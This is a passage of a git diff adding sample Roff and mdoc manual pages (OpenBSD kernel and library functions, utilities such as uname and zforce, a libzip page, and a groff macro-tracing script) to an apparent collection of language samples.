+.Fa policy .
+.El
+.Sh STANDARDS
+The
+.Fn sched_get_priority_max
+and
+.Fn sched_get_priority_min
+functions conform to
+.St -p1003.1-2008 .
+.Pp
+This implementation does not support process scheduling.
diff --git a/samples/Roff Manpage/sensor_attach.mdoc b/samples/Roff Manpage/sensor_attach.mdoc
new file mode 100644
index 0000000000..d77b46e8ac
--- /dev/null
+++ b/samples/Roff Manpage/sensor_attach.mdoc	
@@ -0,0 +1,157 @@
+.\"	$OpenBSD: sensor_attach.9,v 1.13 2015/09/14 15:14:55 schwarze Exp $
+.\"
+.\" Copyright (c) 2006 Michael Knudsen <mk@openbsd.org>
+.\" Copyright (c) 2006 Constantine A. Murenin <cnst+openbsd@bugmail.mojo.ru>
+.\" All rights reserved.
+.\"
+.\" Redistribution and use in source and binary forms, with or without
+.\" modification, are permitted provided that the following conditions
+.\" are met:
+.\"
+.\" 1. Redistributions of source code must retain the above copyright
+.\"    notice, this list of conditions and the following disclaimer.
+.\" 2. The name of the author may not be used to endorse or promote products
+.\"    derived from this software without specific prior written permission.
+.\"
+.\" THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
+.\" INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+.\" AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
+.\" THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+.\" EXEMPLARY, OR CONSEQUENTIAL  DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+.\" PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+.\" OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+.\" WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+.\" OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+.\" ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+.\"
+.Dd $Mdocdate: September 14 2015 $
+.Dt SENSOR_ATTACH 9
+.Os
+.Sh NAME
+.Nm sensor_attach ,
+.Nm sensor_detach ,
+.Nm sensor_find ,
+.Nm sensordev_install ,
+.Nm sensordev_deinstall ,
+.Nm sensordev_get ,
+.Nm sensor_task_register ,
+.Nm sensor_task_unregister
+.Nd sensors framework
+.Sh SYNOPSIS
+.In sys/sensors.h
+.Ft void
+.Fn sensordev_install "struct ksensordev *sensdev"
+.Ft void
+.Fn sensordev_deinstall "struct ksensordev *sensdev"
+.Ft struct ksensordev *
+.Fn sensordev_get "int devnum"
+.Pp
+.Ft void
+.Fn sensor_attach "struct ksensordev *sensdev" "struct ksensor *sens"
+.Ft void
+.Fn sensor_detach "struct ksensordev *sensdev" "struct ksensor *sens"
+.Ft struct ksensor *
+.Fn sensor_find "int devnum" "enum sensor_type stype" "int numt"
+.Pp
+.Ft struct sensor_task *
+.Fn sensor_task_register "void *arg" "void (*func)(void *)" "int period"
+.Ft void
+.Fn sensor_task_unregister "struct sensor_task *st"
+.Sh DESCRIPTION
+The
+sensors
+framework API provides a mechanism for manipulation of hardware sensors
+that are available under the
+.Va hw.sensors
+.Xr sysctl 8
+tree.
+.Pp
+.Fn sensor_attach
+adds the sensor specified by the
+.Fa sens
+argument to the sensor device specified by the
+.Fa sensdev
+argument.
+.Fn sensor_detach
+can be used to remove sensors previously added by
+.Fn sensor_attach .
+.Pp
+.Fn sensordev_install
+registers the sensor device specified by the
+.Fa sensdev
+argument so that all sensors that are attached to the device become
+accessible via the sysctl interface.
+.Fn sensordev_deinstall
+can be used to remove sensor devices previously registered by
+.Fn sensordev_install .
+.Pp
+.Fn sensordev_get
+takes ordinal number
+.Fa devnum
+specifying a sensor device and
+returns a pointer to the corresponding
+.Vt struct ksensordev ,
+or
+.Dv NULL
+if no such sensor device exists.
+.Pp
+.Fn sensor_find
+takes ordinal number
+.Fa devnum
+specifying a sensor device, sensor type
+.Fa stype
+and ordinal number of sensor of such type
+.Fa numt ,
+and returns a pointer to the corresponding
+.Vt struct ksensor ,
+or
+.Dv NULL
+if no such sensor exists.
+.Fn sensor_find
+will always return
+.Dv NULL
+if the corresponding sensor devices are not registered by
+.Fn sensordev_install .
+.Pp
+Drivers are responsible for retrieving, interpreting, and normalising
+sensor values and updating the sensor struct periodically.
+If the driver needs process context, for example to sleep, it can
+register a task with the sensor framework.
+.Pp
+.Fn sensor_task_register
+is used to register a periodic task to update sensors.
+The
+.Fa func
+argument is a pointer to the function to run with an interval of
+.Fa period
+seconds.
+The
+.Fa arg
+parameter is the argument given to the
+.Fa func
+function.
+.Fn sensor_task_unregister
+ensures that the task specified by the
+.Fa st
+argument is no longer running, and then removes it from the queue.
+.Pp
+All the functions in the sensor framework must be called during
+.Xr autoconf 9
+or from a process context.
+Additionally,
+.Fn sensor_task_unregister
+must not be called from the sensor task that it is about to remove.
+.Sh SEE ALSO
+.Xr sysctl 8 ,
+.Xr autoconf 9
+.Sh HISTORY
+The sensor framework was written by
+.An Alexander Yurchenko Aq Mt grange@openbsd.org
+and first appeared in
+.Ox 3.4 .
+.An David Gwynne Aq Mt dlg@openbsd.org
+later extended it for
+.Ox 3.8 .
+.An Constantine A. Murenin Aq Mt cnst+openbsd@bugmail.mojo.ru
+extended it even further by introducing the concept of sensor devices in
+.Ox 4.1 .
diff --git a/samples/Roff Manpage/sigwait.3qt b/samples/Roff Manpage/sigwait.3qt
new file mode 100644
index 0000000000..bfafc55ebc
--- /dev/null
+++ b/samples/Roff Manpage/sigwait.3qt	
@@ -0,0 +1,85 @@
+.\" $OpenBSD: sigwait.3,v 1.15 2013/06/05 03:44:50 tedu Exp $
+.\"
+.\" David Leonard <d@openbsd.org>, 1998. Public domain.
+.Dd $Mdocdate: June 5 2013 $
+.Dt SIGWAIT 3
+.Os
+.Sh NAME
+.Nm sigwait
+.Nd synchronously accept a signal
+.Sh SYNOPSIS
+.In signal.h
+.Ft int
+.Fn sigwait "const sigset_t *set" "int *sig"
+.Sh DESCRIPTION
+The
+.Fn sigwait
+function selects a pending signal from
+.Fa set ,
+atomically clears it from the system's set of pending signals, and returns
+that signal number in the location referenced by
+.Fa sig .
+If prior to the call to
+.Fn sigwait
+there are multiple pending instances of a single signal number,
+it is undefined whether upon successful return there are any remaining pending
+signals for that signal number.
+If no signal in
+.Fa set
+is pending at the time of the call,
+the thread shall be suspended until one or more becomes pending.
+The signals defined by
+.Fa set
+should have been blocked at the time of the call to
+.Fn sigwait ;
+otherwise the behaviour is undefined.
+The effect of
+.Fn sigwait
+on the signal actions for the signals in
+.Fa set
+is unspecified.
+.Pp
+If more than one thread is using
+.Fn sigwait
+to wait for the same signal,
+no more than one of these threads shall return from
+.Fn sigwait
+with the signal number.
+Which thread returns from
+.Fn sigwait
+if more than a single thread is waiting is unspecified.
+.Pp
+.Sy Note :
+Code using the
+.Fn sigwait
+function must be compiled and linked with the
+.Cm -pthread
+option to
+.Xr gcc 1 .
+.Sh RETURN VALUES
+Upon successful completion,
+.Fn sigwait
+stores the signal number of the received signal at the location referenced by
+.Fa sig
+and returns zero.
+.Sh ERRORS
+On error,
+.Fn sigwait
+returns one of these error values:
+.Bl -tag -width Er
+.It Bq Er EINVAL
+The
+.Fa set
+argument contains an invalid or unsupported signal number.
+.El
+.Sh SEE ALSO
+.Xr sigaction 2 ,
+.Xr sigpending 2 ,
+.Xr sigsuspend 2 ,
+.Xr pause 3 ,
+.Xr pthread_sigmask 3 ,
+.Xr pthreads 3
+.Sh STANDARDS
+.Fn sigwait
+conforms to
+.St -p1003.1-96 .
diff --git a/samples/Roff Manpage/tan.3m b/samples/Roff Manpage/tan.3m
new file mode 100644
index 0000000000..35ec253a95
--- /dev/null
+++ b/samples/Roff Manpage/tan.3m	
@@ -0,0 +1,84 @@
+.\"	$OpenBSD: tan.3,v 1.12 2013/06/05 03:40:26 tedu Exp $
+.\" Copyright (c) 1991 The Regents of the University of California.
+.\" All rights reserved.
+.\"
+.\" Redistribution and use in source and binary forms, with or without
+.\" modification, are permitted provided that the following conditions
+.\" are met:
+.\" 1. Redistributions of source code must retain the above copyright
+.\"    notice, this list of conditions and the following disclaimer.
+.\" 2. Redistributions in binary form must reproduce the above copyright
+.\"    notice, this list of conditions and the following disclaimer in the
+.\"    documentation and/or other materials provided with the distribution.
+.\" 3. Neither the name of the University nor the names of its contributors
+.\"    may be used to endorse or promote products derived from this software
+.\"    without specific prior written permission.
+.\"
+.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+.\" ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+.\" SUCH DAMAGE.
+.\"
+.\"     from: @(#)tan.3	5.1 (Berkeley) 5/2/91
+.\"
+.Dd $Mdocdate: June 5 2013 $
+.Dt TAN 3
+.Os
+.Sh NAME
+.Nm tan ,
+.Nm tanf ,
+.Nm tanl
+.Nd tangent functions
+.Sh SYNOPSIS
+.In math.h
+.Ft double
+.Fn tan "double x"
+.Ft float
+.Fn tanf "float x"
+.Ft long double
+.Fn tanl "long double x"
+.Sh DESCRIPTION
+The
+.Fn tan
+function computes the tangent of
+.Fa x
+(measured in radians).
+The
+.Fn tanf
+function is a single precision version of
+.Fn tan .
+The
+.Fn tanl
+function is an extended precision version of
+.Fn tan .
+A large magnitude argument may yield a result
+with little or no significance.
+.Sh RETURN VALUES
+The
+.Fn tan ,
+.Fn tanf
+and
+.Fn tanl
+functions return the tangent value.
+.Sh SEE ALSO
+.Xr acos 3 ,
+.Xr asin 3 ,
+.Xr atan 3 ,
+.Xr atan2 3 ,
+.Xr cos 3 ,
+.Xr cosh 3 ,
+.Xr sin 3 ,
+.Xr sinh 3 ,
+.Xr tanh 3
+.Sh STANDARDS
+The
+.Fn tan
+function conforms to
+.St -ansiC .
diff --git a/samples/Roff Manpage/tls_config_ocsp_require_stapling.3in b/samples/Roff Manpage/tls_config_ocsp_require_stapling.3in
new file mode 100644
index 0000000000..a0694d304f
--- /dev/null
+++ b/samples/Roff Manpage/tls_config_ocsp_require_stapling.3in	
@@ -0,0 +1,40 @@
+.\" $OpenBSD: tls_config_ocsp_require_stapling.3,v 1.5 2017/01/31 20:53:50 jmc Exp $
+.\"
+.\" Copyright (c) 2016 Bob Beck <beck@openbsd.org>
+.\"
+.\" Permission to use, copy, modify, and distribute this software for any
+.\" purpose with or without fee is hereby granted, provided that the above
+.\" copyright notice and this permission notice appear in all copies.
+.\"
+.\" THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+.\" WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+.\" MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+.\" ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+.\" WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+.\" ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+.\" OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+.\"
+.Dd $Mdocdate: January 31 2017 $
+.Dt TLS_CONFIG_OCSP_REQUIRE_STAPLING 3
+.Os
+.Sh NAME
+.Nm tls_config_ocsp_require_stapling
+.Nd OCSP configuration for libtls
+.Sh SYNOPSIS
+.In tls.h
+.Ft void
+.Fn tls_config_ocsp_require_stapling "struct tls_config *config"
+.Sh DESCRIPTION
+.Fn tls_config_ocsp_require_stapling
+requires that a valid stapled OCSP response be provided
+during the TLS handshake.
+.Sh SEE ALSO
+.Xr tls_config_add_keypair_file 3 ,
+.Xr tls_handshake 3 ,
+.Xr tls_init 3 ,
+.Xr tls_ocsp_process_response 3
+.Sh HISTORY
+These functions appeared in
+.Ox 6.1 .
+.Sh AUTHORS
+.An Bob Beck Aq Mt beck@openbsd.org
diff --git a/samples/Roff Manpage/uname.1m b/samples/Roff Manpage/uname.1m
new file mode 100644
index 0000000000..574d68736a
--- /dev/null
+++ b/samples/Roff Manpage/uname.1m	
@@ -0,0 +1,94 @@
+.\"	$OpenBSD: uname.1,v 1.17 2011/10/21 14:48:02 ajacoutot Exp $
+.\"
+.\" Copyright (c) 1990 The Regents of the University of California.
+.\" All rights reserved.
+.\"
+.\" Redistribution and use in source and binary forms, with or without
+.\" modification, are permitted provided that the following conditions
+.\" are met:
+.\" 1. Redistributions of source code must retain the above copyright
+.\"    notice, this list of conditions and the following disclaimer.
+.\" 2. Redistributions in binary form must reproduce the above copyright
+.\"    notice, this list of conditions and the following disclaimer in the
+.\"    documentation and/or other materials provided with the distribution.
+.\" 3. Neither the name of the University nor the names of its contributors
+.\"    may be used to endorse or promote products derived from this software
+.\"    without specific prior written permission.
+.\"
+.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+.\" ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+.\" SUCH DAMAGE.
+.\"
+.\"     from: @(#)du.1	6.13 (Berkeley) 6/20/91
+.\"
+.Dd $Mdocdate: October 21 2011 $
+.Dt UNAME 1
+.Os
+.Sh NAME
+.Nm uname
+.Nd print operating system name
+.Sh SYNOPSIS
+.Nm uname
+.Op Fl amnprsv
+.Sh DESCRIPTION
+The
+.Nm uname
+utility writes symbols representing one or more system characteristics
+to the standard output.
+.Pp
+The options are as follows:
+.Bl -tag -width Ds
+.It Fl a
+Behave as though all of the options
+.Fl mnrsv
+were specified.
+.It Fl m
+Print the machine hardware name.
+.It Fl n
+Print the nodename (the nodename may be a name
+that the system is known by to a communications
+network).
+.It Fl p
+Print the machine processor architecture name.
+.It Fl r
+Print the operating system release.
+.It Fl s
+Print the operating system name.
+.It Fl v
+Print the operating system version.
+.El
+.Pp
+If no options are specified,
+.Nm uname
+prints the operating system name as if the
+.Fl s
+option had been specified.
+.Sh EXIT STATUS
+.Ex -std uname
+.Sh SEE ALSO
+.Xr hostname 1 ,
+.Xr machine 1 ,
+.Xr uname 3
+.Sh STANDARDS
+The
+.Nm
+utility is compliant with the
+.St -p1003.1-2008
+specification.
+.Pp
+The flag
+.Op Fl p
+is an extension to that specification.
+.Sh HISTORY
+The
+.Nm
+command appeared in
+.Bx 4.4 .
diff --git a/samples/Roff Manpage/zforce.1x b/samples/Roff Manpage/zforce.1x
new file mode 100644
index 0000000000..d4bc1788fe
--- /dev/null
+++ b/samples/Roff Manpage/zforce.1x	
@@ -0,0 +1,52 @@
+.\"	$OpenBSD: zforce.1,v 1.3 2007/05/31 19:20:09 jmc Exp $
+.\"
+.\" Copyright (c) 2003 Otto Moerbeek <otto@drijf.net>
+.\"
+.\" Permission to use, copy, modify, and distribute this software for any
+.\" purpose with or without fee is hereby granted, provided that the above
+.\" copyright notice and this permission notice appear in all copies.
+.\"
+.\" THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+.\" WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+.\" MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+.\" ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+.\" WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+.\" ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+.\" OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+.\"
+.Dd $Mdocdate: May 31 2007 $
+.Dt ZFORCE 1
+.Os
+.Sh NAME
+.Nm zforce
+.Nd force gzip files to have a .gz suffix
+.Sh SYNOPSIS
+.Nm zforce
+.Ar
+.Sh DESCRIPTION
+The
+.Nm
+utility renames
+.Xr gzip 1
+files to have a
+.Sq .gz
+suffix, so that
+.Xr gzip 1
+will not compress them twice.
+This can be useful if file names were truncated during a file transfer.
+Files that have an existing
+.Sq .gz ,
+.Sq -gz ,
+.Sq _gz ,
+.Sq .tgz
+or
+.Sq .taz
+suffix, or that have not been compressed by
+.Xr gzip 1 ,
+are ignored.
+.Sh SEE ALSO
+.Xr compress 1 ,
+.Xr gzip 1
+.Sh CAVEATS
+.Nm
+overwrites existing files without warning.
diff --git a/samples/Roff Manpage/zip_file_add.mdoc b/samples/Roff Manpage/zip_file_add.mdoc
new file mode 100644
index 0000000000..298e2d6996
--- /dev/null
+++ b/samples/Roff Manpage/zip_file_add.mdoc	
@@ -0,0 +1,156 @@
+.\" zip_file_add.mdoc -- add files to zip archive
+.\" Copyright (C) 2004-2012 Dieter Baron and Thomas Klausner
+.\"
+.\" This file is part of libzip, a library to manipulate ZIP archives.
+.\" The authors can be contacted at <libzip@nih.at>
+.\"
+.\" Redistribution and use in source and binary forms, with or without
+.\" modification, are permitted provided that the following conditions
+.\" are met:
+.\" 1. Redistributions of source code must retain the above copyright
+.\"    notice, this list of conditions and the following disclaimer.
+.\" 2. Redistributions in binary form must reproduce the above copyright
+.\"    notice, this list of conditions and the following disclaimer in
+.\"    the documentation and/or other materials provided with the
+.\"    distribution.
+.\" 3. The names of the authors may not be used to endorse or promote
+.\"    products derived from this software without specific prior
+.\"    written permission.
+.\"
+.\" THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS
+.\" OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+.\" WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+.\" ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY
+.\" DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+.\" GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+.\" INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
+.\" IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+.\" OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
+.\" IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+.\"
+.Dd October 6, 2012
+.Dt ZIP_FILE_ADD 3
+.Os
+.Sh NAME
+.Nm zip_file_add ,
+.Nm zip_file_replace
+.Nd add file to zip archive or replace file in zip archive
+.Sh LIBRARY
+libzip (-lzip)
+.Sh SYNOPSIS
+.In zip.h
+.Ft zip_int64_t
+.Fn zip_file_add "struct zip *archive" "const char *name" \
+"struct zip_source *source" "zip_flags_t flags"
+.Ft int
+.Fn zip_file_replace "struct zip *archive" "zip_uint64_t index" \
+"struct zip_source *source" "zip_flags_t flags"
+.Sh DESCRIPTION
+The function
+.Fn zip_file_add
+adds a file to a zip archive, while
+.Fn zip_file_replace
+replaces an existing file in a zip archive.
+The argument
+.Ar archive
+specifies the zip archive to which the file should be added.
+.Ar name
+is the file's name in the zip archive (for
+.Fn zip_file_add ) ,
+while
+.Ar index
+specifies which file should be replaced (for
+.Fn zip_file_replace ) .
+The
+.Ar flags
+argument can be any combination of
+.Dv ZIP_FL_OVERWRITE
+with one of
+.Dv ZIP_FL_ENC_* :
+.Bl -tag -width XZIPXFLXENCXSTRICTXX
+.It Dv ZIP_FL_OVERWRITE
+Overwrite any existing file of the same name.
+For
+.Nm zip_file_add
+only.
+.It Dv ZIP_FL_ENC_GUESS
+Guess encoding of
+.Ar name
+(default).
+.It Dv ZIP_FL_ENC_UTF_8
+Interpret
+.Ar name
+as UTF-8.
+.It Dv ZIP_FL_ENC_CP437
+Interpret
+.Ar name
+as code page 437 (CP-437).
+.El
+The data is obtained from the
+.Ar source
+argument.
+See the
+.Fn zip_source_*
+functions cited in
+.Sx SEE ALSO .
+.Sh RETURN VALUES
+Upon successful completion,
+.Fn zip_file_add
+returns the index of the new file in the archive, and
+.Fn zip_file_replace
+returns 0.
+Otherwise, \-1 is returned and the error code in
+.Ar archive
+is set to indicate the error.
+.Sh EXAMPLES
+.Bd -literal -offset indent
+struct zip_source *s;
+const char buf="teststring";
+
+if ((s=zip_source_buffer(archive, buffer, sizeof(buf), 0)) == NULL ||
+    zip_file_add(archive, name, s, ZIP_FL_ENC_UTF_8) \*[Lt] 0) {
+    zip_source_free(s);
+    printf("error adding file: %s\en", zip_strerror(archive));
+}
+.Ed
+.Sh ERRORS
+.Fn zip_file_add
+and
+.Fn zip_file_replace
+fail if:
+.Bl -tag -width Er
+.It Bq Er ZIP_ER_EXISTS
+There is already a file called
+.Ar name
+in the archive.
+(Only applies to
+.Fn zip_file_add ,
+and only if
+.Dv ZIP_FL_OVERWRITE
+is not provided).
+.It Bq Er ZIP_ER_INVAL
+.Ar source
+or
+.Ar name
+are
+.Dv NULL ,
+or
+.Ar index
+is invalid.
+.It Bq Er ZIP_ER_MEMORY
+Required memory could not be allocated.
+.It Bq Er ZIP_ER_RDONLY
+Archive was opened in read-only mode.
+.El
+.Sh SEE ALSO
+.Xr libzip 3 ,
+.Xr zip_source_file 3 ,
+.Xr zip_source_filep 3 ,
+.Xr zip_source_function 3 ,
+.Xr zip_source_zip 3
+.Sh AUTHORS
+.An -nosplit
+.An Dieter Baron Aq dillo@nih.at
+and
+.An Thomas Klausner Aq tk@giga.or.at
diff --git a/samples/Groff/Tcl.n b/samples/Roff/Tcl.n
similarity index 100%
rename from samples/Groff/Tcl.n
rename to samples/Roff/Tcl.n
diff --git a/samples/Groff/an-ext.tmac b/samples/Roff/an-ext.tmac
similarity index 100%
rename from samples/Groff/an-ext.tmac
rename to samples/Roff/an-ext.tmac
diff --git a/samples/Groff/create_view.l b/samples/Roff/create_view.l
similarity index 100%
rename from samples/Groff/create_view.l
rename to samples/Roff/create_view.l
diff --git a/samples/Roff/crude-hack.man b/samples/Roff/crude-hack.man
new file mode 100644
index 0000000000..9bf4eb8a6a
--- /dev/null
+++ b/samples/Roff/crude-hack.man
@@ -0,0 +1,101 @@
+'\"##===========================================================================##
+'\"## Crude hack to extract the line numbers of symbols defined in Roff source. ##
+'\"## Output is of the format `[define|remove]:[type]:[line-number]:[filename]` ##
+'\"## which is printed to stderr while Groff processes tmac files. Written as   ##
+'\"## part of the Roff.js project -- see <https://github.com/Alhadis/Roff.js>   ##
+'\"##=============[INCORRIGIBLE-HACKERY-BEGINS-UNDER-THIS-LINE]=================##
+'\" Remove "problematic" macros
+'rm ab
+'rm ex
+'rm lf
+'rm pi
+'rm rd
+'rm sy
+'rm open
+'rm opena
+'rm pnr
+'rm pso
+'
+'\" Restrict .tm to traced definitions only
+'rn tm tm_\*!
+'rm tm1
+'rm tmc
+'
+'\" Macros, strings, and diversions
+'rn de de_\*!
+'de_\*! de
+'	tm_\*! define:macro:\\n(.c:\\n(.F:\\$1
+'	de_\*! \\$1 \\$2
+..
+'rn ds ds_\*!
+'de_\*! ds
+'	tm_\*! define:string:\\n(.c:\\n(.F:\\$1
+'	ds_\*! \\$*
+..
+'rn di di_\*!
+'de_\*! di
+'	tm_\*! define:diversion:\\n(.c:\\n(.F:\\$1
+'	di_\*! \\$1 \\$2
+..
+'rn rm rm_\*!
+'de_\*! rm
+'	tm_\*! remove:object:\\n(.c:\\n(.F:\\$1
+'	rm_\*! \\$*
+..
+'rn de1 de1_\*!
+'de_\*! de1
+'	tm_\*! define:macro:\\n(.c:\\n(.F:\\$1
+'	de1_\*! \\$1 \\$2
+..
+'rn ds1 ds1_\*!
+'de_\*! ds1
+'	tm_\*! define:string:\\n(.c:\\n(.F:\\$1
+'	ds1_\*! \\$1 \\$2
+..
+'\" Registers
+'rn nr nr_\*!
+'de_\*! nr
+'	tm_\*! define:register:\\n(.c:\\n(.F:\\$1
+'	nr_\*! \\$*
+..
+'rn rr rr_\*!
+'de_\*! rr
+'	tm_\*! remove:register:\\n(.c:\\n(.F:\\$1
+'	rr_\*! \\$*
+..
+'rn length length_\*!
+'de_\*! length
+'	tm_\*! define:register:\\n(.c:\\n(.F:\\$1
+'	length_\*! \\$*
+..
+'\" Characters
+'rn char char_\*!
+'de_\*! char
+'	tm_\*! define:char:\\n(.c:\\n(.F:\\$1
+'	char_\*! \\$*
+..
+'rn rchar rchar_\*!
+'de_\*! rchar
+'	tm_\*! remove:char:\\n(.c:\\n(.F:\\$*
+'	rchar_\*! \\$*
+..
+'\" Colours
+'rn defcolor defcolor_\*!
+'de_\*! defcolor
+'	tm_\*! define:colour:\\n(.c:\\n(.F:\\$1
+'	defcolor_\*! \\$*
+..
+'\" Links
+'rn so so_\*!
+'de_\*! so
+'	tm_\*! link:file:\\n(.c:\\n(.F:\\$1
+'	so_\*! \\$*
+..
+'rn mso mso_\*!
+'de_\*! mso
+'	tm_\*! link:tmac:\\n(.c:\\n(.F:\\$1
+'	mso_\*! \\$*
+..
+.
+.\" EOF
+'rm !
diff --git a/samples/Roff/dsw.1x b/samples/Roff/dsw.1x
new file mode 100644
index 0000000000..20db63044b
--- /dev/null
+++ b/samples/Roff/dsw.1x
@@ -0,0 +1,28 @@
+.pa 1
+.he 'DSW (I)'3/15/72'DSW (I)'
+.ti 0
+NAME		dsw  --  delete interactively
+.sp
+.ti 0
+SYNOPSIS	dsw___ [ directory ]
+.sp
+.ti 0
+DESCRIPTION	For
+each file in the given directory ("." if not specified)
+dsw___ types its name.  If "y" is typed, the file is deleted;
+if "x", dsw___ exits; if anything else, the file
+is not removed.
+.sp
+.ti 0
+FILES		--
+.sp
+.ti 0
+SEE ALSO	rm(I)
+.sp
+.ti 0
+DIAGNOSTICS	"?"
+.sp
+.ti 0
+BUGS		The name "dsw"
+is a carryover from the ancient past.  Its etymology is
+amusing but the name is nonetheless ill-advised.
diff --git a/samples/Roff/foo.3p b/samples/Roff/foo.3p
new file mode 100644
index 0000000000..d6e45079df
--- /dev/null
+++ b/samples/Roff/foo.3p
@@ -0,0 +1 @@
+.so ../man3p/bar.3
diff --git a/samples/Roff/foo.3pm b/samples/Roff/foo.3pm
new file mode 100644
index 0000000000..ef0f80a94f
--- /dev/null
+++ b/samples/Roff/foo.3pm
@@ -0,0 +1 @@
+.so ../man3/foo.3pm
diff --git a/samples/Groff/fsinterface.ms b/samples/Roff/fsinterface.ms
similarity index 100%
rename from samples/Groff/fsinterface.ms
rename to samples/Roff/fsinterface.ms
diff --git a/samples/Roff/he.mdoc b/samples/Roff/he.mdoc
new file mode 100644
index 0000000000..53c3068a5f
--- /dev/null
+++ b/samples/Roff/he.mdoc
@@ -0,0 +1,78 @@
+.Dd April 5, 2016
+'.Dt he 1
+.Sh NAME
+.Nm he
+.Nd encode/decode HTML entities just like a browser would
+.Sh SYNOPSIS
+.Nm
+.Op Fl -escape Ar string
+.br
+.Op Fl -encode Ar string
+.br
+.Op Fl -encode Fl -use-named-refs Fl -everything Fl -allow-unsafe Ar string
+.br
+.Op Fl -decode Ar string
+.br
+.Op Fl -decode Fl -attribute Ar string
+.br
+.Op Fl -decode Fl -strict Ar string
+.br
+.Op Fl v | -version
+.br
+.Op Fl h | -help
+.Sh DESCRIPTION
+.Nm
+encodes/decodes HTML entities in strings just like a browser would.
+.Sh OPTIONS
+.Bl -ohang -offset
+.It Sy "--escape"
+Take a string of text and escape it for use in text contexts in XML or HTML documents. Only the following characters are escaped: `&`, `<`, `>`, `"`, and `'`.
+.It Sy "--encode"
